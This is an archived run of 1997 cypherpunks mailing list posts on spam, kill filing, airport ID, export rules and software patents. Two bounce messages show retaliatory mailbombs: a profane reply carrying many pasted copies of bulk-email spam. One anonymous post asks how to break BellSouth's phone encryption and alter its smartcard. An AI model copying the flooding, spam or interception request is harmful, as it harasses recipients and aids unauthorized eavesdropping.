In-Reply-To: <3.0.32.19970116172801.00965980@toad.com>
Message-ID: <199701162323.PAA10778@megan.netwizards.net>
MIME-Version: 1.0
Content-Type: text/plain


The 'A special offer' posting was fraudulent, and from UUNet, not from the
NetWizards domain, or NetWizards newsservers. If you'll examine the
headers in the message, you will find this to be true. If you'd like to
complain, please contact the UUNet Administration. This is the second spam
this lamer has posted, and the only person he's hurting is himself, and
users of Usenet. 

Dozer (aka Bill Rockefeller) is the System Administrator at NetWizards,
and does NOT approve of spam in any way, shape or form. All of these
schemes are illegal, and a waste of time. Get a job, work for a living. :)
For more information on the REAL Dozer (not the SPAMMER), feel free
to drop by his homepage, at http://www.dozer.com, and look under Dozer's
section. Dozer also runs the Mustang 5.0 Mailing list for the Internet, 
if you have a Modified Mustang 5.0, or are interested in them, email 
50ml@netwiz.net. 

We apologize for any confusion the poor misguided soul that posted the 
fraudulent message may have caused. :)

Note: Mailbombing this address is quite useless. It filters all 
mailbombs, etc, and has unlimited space.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Rockefeller <dozer@megan.netwizards.net>
Date: Thu, 16 Jan 1997 15:28:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A Special Offer!
In-Reply-To: <3.0.32.19970116172834.009fe100@toad.com>
Message-ID: <199701162323.PAA10832@megan.netwizards.net>
MIME-Version: 1.0
Content-Type: text/plain


The 'A special offer' posting was fraudulent, and from UUNet, not from the
NetWizards domain, or NetWizards newsservers. If you'll examine the
headers in the message, you will find this to be true. If you'd like to
complain, please contact the UUNet Administration. This is the second spam
this lamer has posted, and the only person he's hurting is himself, and
users of Usenet. 

Dozer (aka Bill Rockefeller) is the System Administrator at NetWizards,
and does NOT approve of spam in any way, shape or form. All of these
schemes are illegal, and a waste of time. Get a job, work for a living. :)
For more information on the REAL Dozer (not the SPAMMER), feel free
to drop by his homepage, at http://www.dozer.com, and look under Dozer's
section. Dozer also runs the Mustang 5.0 Mailing list for the Internet, 
if you have a Modified Mustang 5.0, or are interested in them, email 
50ml@netwiz.net. 

We apologize for any confusion the poor misguided soul that posted the 
fraudulent message may have caused. :)

Note: Mailbombing this address is quite useless. It filters all 
mailbombs, etc, and has unlimited space.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Thu, 16 Jan 1997 13:01:19 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Kill filing
In-Reply-To: <v03007808af042a232676@[139.167.130.248]>
Message-ID: <Pine.SGI.3.95.970116155633.13404A-100000@umbc10.umbc.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 16 Jan 1997, Robert Hettinga wrote:

> At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> >	/toto/f:=:j
> >which displays the subject lines as it junks the articles.
> 
> And, in my case, Eudora displays each message in the status window as it's
> bringing something down from the POP server, and again as it filters.
[snip]
> 
> So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.

I used to have procmail shove messages from certain folks directly to
/dev/null, but then wondered a few days ago if I were missing
anything, so they ended up going to $MAILDIR/.in.garbage.  After
looking in there today, I'm glad to say that it's back to /dev/null,
with no regrets.

Of course, with the new moderated list, there shouldn't be too much
work for procmail, except for those folks who I personally feel aren't
worth reading...


--
|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Thu, 16 Jan 1997 17:06:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bellsouth DCS System..Any thoughts
Message-ID: <199701170043.QAA04634@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Comrades....and associates

Has anyone had any experience in verifying the encryption
scheme used in Bellsouth Mobility DCS system. Apparently,
the system utilizes a signal from 1,850 - 1,925 mhz, and
the the signal is encrypted there after. I've been told that
no one has been able to decifer a conversation as of yet. 
Also, has anyone been able to view or alter the contents on the smartcard within the phone......


All suggestion will be analyzed carefully at discretion



Thanks in advance.......
Antonio Montana....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Thu, 16 Jan 1997 13:48:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Security State has different standards for 'them' and 'us'
In-Reply-To: <199701161947.LAA26644@notesgw2.sybase.com>
Message-ID: <Pine.GSO.3.95.970116164330.27099A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


I was distracted a bit but I believe I heard on NPR news this morning that
Colorado Guv. Roy Roemer showed up at an airport sans id and had a moment
of difficulty getting on his flight.  Roemer solved the problem by showing
the Federal Permission-To-Fly checker a picture of himself in a recent
newspaper.

I thought the ill-defined (or ill-described) rules required presentation
of a _government_ picture I.D.  Since when is a newspaper photo a
government picture I.D.?  

Some animals are more equal than others.

bd






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Thu, 16 Jan 1997 15:29:26 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: re: Airport security [no such thing]
Message-ID: <01BC03D2.A3F21CA0@s14-pm05.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


At 11:11 PM 1/15/97 -0700, C. Kuethe wrote:
>>Yeah... took the words outta my mouth.  Let's all write to the FAA, DOT, etc.
>>and tell them what morons they are...  sorry tell them that they need
>>work. No
>>more Lockerbies, TWA800's and other such tragedies.

Lucky Green wrote
>Write them? Why? How are they going to prevent someone from boarding with a
>bottle of aftershave containing the extra strong flavor? A bottle that will
>be left in the seat? One could cut open the seat if need be. [Dozens of
>other examples omitted in the interest of brevity.]

I say we make people fly naked and ship their stuff via UPS ;).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 16 Jan 1997 18:07:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ebonics bye!
Message-ID: <199701170128.RAA09160@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


be unsuscried




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MAILER-DAEMON@Alpha.remcan.ca (Mail Delivery Subsystem)
Date: Thu, 16 Jan 1997 15:37:07 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Returned mail:  Host unknown (Name server: softcell: host not found)
Message-ID: <199701162230.RAA04447@Alpha.remcan.ca>
MIME-Version: 1.0
Content-Type: text/plain


The original message was received at Thu, 16 Jan 1997 17:30:05 -0500
from Dial50.Solutions.Net [204.112.6.160]

   ----- The following addresses had delivery problems -----
<info@softcell>  (unrecoverable error)

   ----- Transcript of session follows -----
501 <info@softcell>...  550 Host unknown (Name server: softcell: host not found)

   ----- Original message follows -----
Received: from shawn by Alpha.remcan.ca via SMTP (940816.SGI.8.6.9/940406.SGI.AUTO)
	for <info@softcell> id RAA04443; Thu, 16 Jan 1997 17:30:05 -0500
Return-Path: <cypherpunks@toad.com>
Message-Id: <3.0.32.19970116173554.00965260@toad.com>
X-Sender: cypherpunks@toad.com (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 16 Jan 1997 17:35:58 -0600
To: info@softcell
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Subject: Re: Bulk e mail software
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

FUCK YOU SPAMMER


At 05:59 PM 1/14/97 PST, you wrote:
>Received: from iq-mcp.iquest.net (iq-mcp.iquest.net [206.246.190.153]) 
>by toad.com (8.7.5/8.7.3) with SMTP id >SAA02218 for 
><cypherpunks@toad.com>; Tue, 14 Jan 1997 18:46:29 -0800 (PST)
>Received: from Default by iq-mcp.iquest.net with smtp
>	(Smail3.1.29.1 #5) id m0vkHlU-005X2uC; Tue, 14 Jan 97 17:55 EST
>Message-Id: <m0vkHlU-005X2uC@iq-mcp.iquest.net>
>From: info@softcell
>Date: Tue, 14 Jan 1997 17:59:01 PST
>Subject: Bulk e mail software
>Precedence: bulk

>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 16 Jan 1997 17:36:19 -0800 (PST)
To: proff@iq.org
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <3.0.1.32.19970116091533.0062ece0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:53 AM 1/15/97 +1100, proff@suburbia.net wrote:
>If you read ITAR you will see that State explicity bans export of any
>operating system with a security rating of B2 or above.
>The adgenda is pretty obvious.

Actually, it's less obvious than that :-)
The only way to get a security rating of B2 or above (or even D or above)
is to submit your operating system for rating by the NCSC, which is
a long, expensive process even for C2.  By the time you get to B2,
you're dealing with products that may have real-world uses but are
primarily designed specifically for the military market. 
One of the sensitivities, besides keeping Scary Foreigners from getting
Real Operating Systems, is that it makes it easier for the Scary
Foreigners to look for any bugs the NCSC may have missed and understand
any other weaknesses that the products may have which would let them
break into US Military or Intelligence Agency systems.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 16 Jan 1997 17:36:14 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <3.0.1.32.19970116093545.0062ece0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:13 PM 1/14/97 -0800, jim bell wrote:
>US.  Alone, that would have denied non-US patents to RSA.   However, such an 
>explanation grandly ignores the fact that computer software (let alone 
>mathematics in general) was not considered patentable ANYWHERE (?) before 
>public-key systems made their appearance in 1976.
...
>I'm still waiting for an "innocent" explanation for the US patent office 
>beginning to issue software patents.  I don't think there is one.

The first software patent was Dennis Ritchie's patent on setUID.
Computer security is one area that, if you're going to allow patents
on software at all (which I think are a bad idea, but that's politics),
are likely to yield novel processes that will benefit the public
if they're published.  If you want an "innocent" explanation,
it's that computers were finally starting to be affordable enough
and software to be portable enough that there was a software market
developing, and therefore there was money to be made (or stolen.)

Before the mid-70s, there wasn't really much software that wasn't 
either obvious to a skilled practitioner (hence non-patentable),
or else intimately tied to tweaky little details of some hardware product,
where the hardware is patentable and the manufacturer is perfectly
_happy_ to have everybody write non-portable code that locks you into
using a FooBar 9000, while letting them claim that this code lets
you run your applications 99.44% faster on the 9000 than on an IBM.
And most early software patent applications _did_ include descriptions
of some tweaky hardware implementation to make them fit better
into the Patent Office mindset.

Of course, the Patent Office, which didn't hire "software engineers"
for a long time, had entirely no clue about what was obvious to skilled
practitioners, so they've let all kinds of things be patented that
were widely used in the trade, like XOR cursors and online commerce.
But that's a flame for another newsgroup.

>It also ignores the strong likelihood that the reason for the Patent-Office 
>policy change (done, apparently, without benefit of a corresponding law 
>change) was because with public-key/RSA there was finally an example of 
>software the government wished to deny to the average citizen, 
>and the only mechanism (short of secrecy, which was broken) to do so 
>was to patent it.  

D,H,R,S, and A didn't _have_ to apply for patents....
With hardware security products, the NSA has the power to seize and
classify systems which are applying for patents, for no particularly
good reason, and they used to do it often.  For instance, there was
an analog scrambler for CB radios that got its patent applications
seized in about 1980.  And most software patent applications for
crypto have involved machinations to avoid getting trapped by this,
like publishing in foreign journals before submitting applications.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MAILER-DAEMON@Alpha.remcan.ca (Mail Delivery Subsystem)
Date: Thu, 16 Jan 1997 15:47:32 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Returned mail: User unknown
Message-ID: <199701162241.RAA04820@Alpha.remcan.ca>
MIME-Version: 1.0
Content-Type: text/plain


The original message was received at Thu, 16 Jan 1997 17:41:06 -0500
from Dial50.Solutions.Net [204.112.6.160]

   ----- The following addresses had delivery problems -----
<remove@mindspring.com>  (unrecoverable error)

   ----- Transcript of session follows -----
... while talking to msmx2.mindspring.com:
>>> RCPT To:<remove@mindspring.com>
<<< 550 <remove@mindspring.com>... User unknown
550 <remove@mindspring.com>... User unknown

   ----- Original message follows -----
Received: from shawn by Alpha.remcan.ca via SMTP (940816.SGI.8.6.9/940406.SGI.AUTO)
	 id RAA04816; Thu, 16 Jan 1997 17:41:06 -0500
Return-Path: <cypherpunks@toad.com>
Message-Id: <3.0.32.19970116174655.00970150@toad.com>
X-Sender: cypherpunks@toad.com (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 16 Jan 1997 17:47:02 -0600
To: cybergy@mindspring.com (Opportunity1), remove@mindspring.com
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Subject: Re: Is this true?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

FUCK YOU SPAMMER


At 10:58 PM 1/8/97 -0600, you wrote:
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
